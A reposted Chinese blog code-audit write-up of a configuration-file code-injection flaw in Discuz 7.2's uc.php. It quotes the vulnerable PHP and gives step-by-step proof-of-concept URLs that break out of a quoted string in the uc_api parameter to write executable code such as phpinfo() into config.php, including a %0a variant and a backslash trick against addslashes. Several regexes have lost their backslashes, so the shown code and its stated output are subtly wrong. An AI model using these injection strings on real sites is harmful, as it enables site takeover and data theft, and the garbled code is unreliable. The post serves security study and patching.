首页 > IT职业 > IT职场 > [代码审计]-PHP配置文件写漏洞
阿里云安骑士报discuz 7.2版本的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,造成数据泄漏。
function updateapps($get, $post) {
...... #行360
$configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; //将POST收到子系统的uc_api写入配置文件,
//对接收的参数增加addslashes避免直接输入[' | "] 闭包前面的符号,造成写任意代码
$configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
......
}
最开始处理这个漏洞时,只是照着网上的方案修复了一下,未求甚解。直到最近看了P神的博客,突然茅塞顿开。照葫芦画瓢写下这个漏洞的利用方法。
后话:最好的修复方式应该是:与最新版系统对比不同。
此外,当有开源系统发布新版时,也可以通过查看diff高效的发现旧旧版本安全漏洞。
假设对方已经获取了你的UC_KEY,可以使用Dz自带的_authcode方法发送任意的请求。将漏洞代码简化如下:
#读取配置,用请求参数中的UC_API替换文件内容,回写到文件中$file = file_get_contents('./config.php');$UC_API = $_REQUEST['uc_api'];$file = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '".addslashes($UC_API)."');", $file);
file_put_contents('./config.php', $file);
#第一步:插入',并用//注释后面的代码http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//#config.php : 此时配置正常
define('UC_API', 'aaa');phpinfo();//');#第二步:uc_api=任意内容,利用正则将两个['aaa']中的内容提换掉http://localhost/safe/conf_test.php?uc_api=ccb#confing.php: 掺入phpinfo 代码可执行
define('UC_API', 'ccb');phpinfo();//');
OR,使用 %0a将代码折行注释
#第一步:插入',并折行注释后续代码http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//#config.php :
# define('UC_API', 'aaa');phpinfo();
# //');#第二步同上

preg_replace.png
正则替换的第二个参数会自动进行转义,将两个连续的\,转义为一个。 所以如果存在 {\'} 则会被转义为{\'},最后多出来一个{'}
#访问:
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//#config.php : 成功插入可执行代码
define('UC_API', 'aaa\'); phpinfo(); //');
#正则替换子组功能示例$a = 'aa1234aa';
$b = preg_replace('/aa(d+)aa/', 'bb1bb', $a);echo $b;//输出: bb1234bb。 详细说明见上图preg_replace.png
%00 代表字符串Null,有各种文件相关的截断漏洞。 但addslashes( urldecode(%00) ) = '
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/813/viewspace-2803831/ ,如需转载,请注明出处,否则将追究法律责任。